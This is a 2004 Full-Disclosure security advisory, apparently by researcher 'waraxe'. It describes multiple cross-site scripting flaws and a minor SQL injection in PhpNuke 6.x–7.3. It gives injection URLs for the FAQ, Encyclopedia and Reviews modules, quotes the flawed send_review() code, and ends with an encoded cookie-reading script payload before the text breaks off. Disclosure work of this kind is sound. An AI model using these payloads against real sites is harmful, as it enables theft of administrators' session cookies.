From come2waraxe@yahoo.com Fri Jun 11 16:25:58 2004 From: Janek Vind To: full-disclosure@lists.netsys.com Date: Fri, 11 Jun 2004 04:31:29 -0700 (PDT) Subject: [Full-Disclosure] [waraxe-2004-SA#032 - Multiple security flaws in PhpNuke 6.x - 7.3] {================================================================================} { [waraxe-2004-SA#032] } {================================================================================} { } { [ Multiple security flaws in PhpNuke 6.x - 7.3 ] } { } {================================================================================} Author: Janek Vind "waraxe" Date: 11. June 2004 Location: Estonia, Tartu Web: http://www.waraxe.us/index.php?modname=sa&id=32 Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Php-Nuke is a popular freeware content management system, written in php by Francisco Burzi. This CMS (Content Management System) is used on many thousands websites, because it's freeware, easy to install and has broad set of features. Homepage: http://phpnuke.org Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Most of the bugs are XSS and one is noncritical sql injection. Affected are modules "Reviews", "Encyclopedia" and "Faq". A - Cross-site scripting aka XSS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A1 - XSS in "Faq" module through unsanitaized user-submitted variable "categories": http://localhost/nuke73/modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=[xss code here] A2 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable "ltr": http://localhost/nuke73/modules.php?name=Encyclopedia&op=terms&eid=1<r=[xss code here] A3 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable "eid": http://localhost/nuke73/modules.php?name=Encyclopedia&file=search&eid=[xss code here] http://localhost/nuke73/modules.php?name=Encyclopedia&file=search&query=f00bar&eid=[xss code here] A4 - XSS in "Encyclopedia" module through unsanitaized user-submitted variable "query": Remark: this exploit needs multipage encyclopedia entry for success... http://localhost/nuke73/modules.php?name=Encyclopedia&op=content&tid=774&page=2&query=[xss code here] A5 - XSS in "Reviews" module's function "preview_review()": http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&url_title=foobar&url=[xss code here] http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&cover=[xss code here] http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&rlanguage=[xss code here] http://localhost/nuke73/modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&hits=[xss code here] A6 - XSS in "Reviews" module's function "send_review()": This function is written very poorly by security means. Most of the input variables, submitted by user, are not properly checked and will be written to database without sanitaize. So users with lower permissions (regular users) can write review and when admin will look at that review for approval, then XSS event occurs. Basically it's script injection and can be used for cookie theft/browser redirection/etc. Examples: http://localhost/nuke73/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=[xss code here] And in addition to all previous mentioned weaknesses such fragment of code can be found from "/modules/Reviews/index.php": ------- [ original code starting ] ------------------------------------------------ function send_review($date, $title, $text, $reviewer, $email, $score, $cover, $url, $url_title, $hits, $id, $rlanguage) { global $admin, $EditedMessage, $prefix, $db, $module_name; include ('header.php'); if (eregi("", $text)) { $text = ereg_replace("","<!--pagebreak-->;",$text); } $id = intval($id); $title = stripslashes(FixQuotes(check_html($title, "nohtml"))); $text = stripslashes(Fixquotes(urldecode(check_html($text, "")))); if (eregi("<!--pagebreak-->", $text)) { $text = ereg_replace("<!--pagebreak-->","",$text); } ------- [ original code ending ] ------------------------------------------------ So what's bad in it? Well, let's look at "$text = stripslashes(Fixquotes(urldecode(check_html($text, ""))));". As we can see, first user submitted variable "text" will be sanitized against html tags (which is of course good thing to do), next it will be urldecoded (mmmm...) and then all the "\'" will be replaced with "''". Traditional mistake can be found here - we can inject urlencoded scripting content through variable "text" and it will be not smashed by check_html(), coz it is "reconstructed" AFTER check_html() ;) Proof of concept example: http://localhost/nuke72/modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=f00@bar.org&text=f00%253c/textarea>%253cscript>alert%2528document.cookie);%253c/script>bar As seen above, we can use even simplest "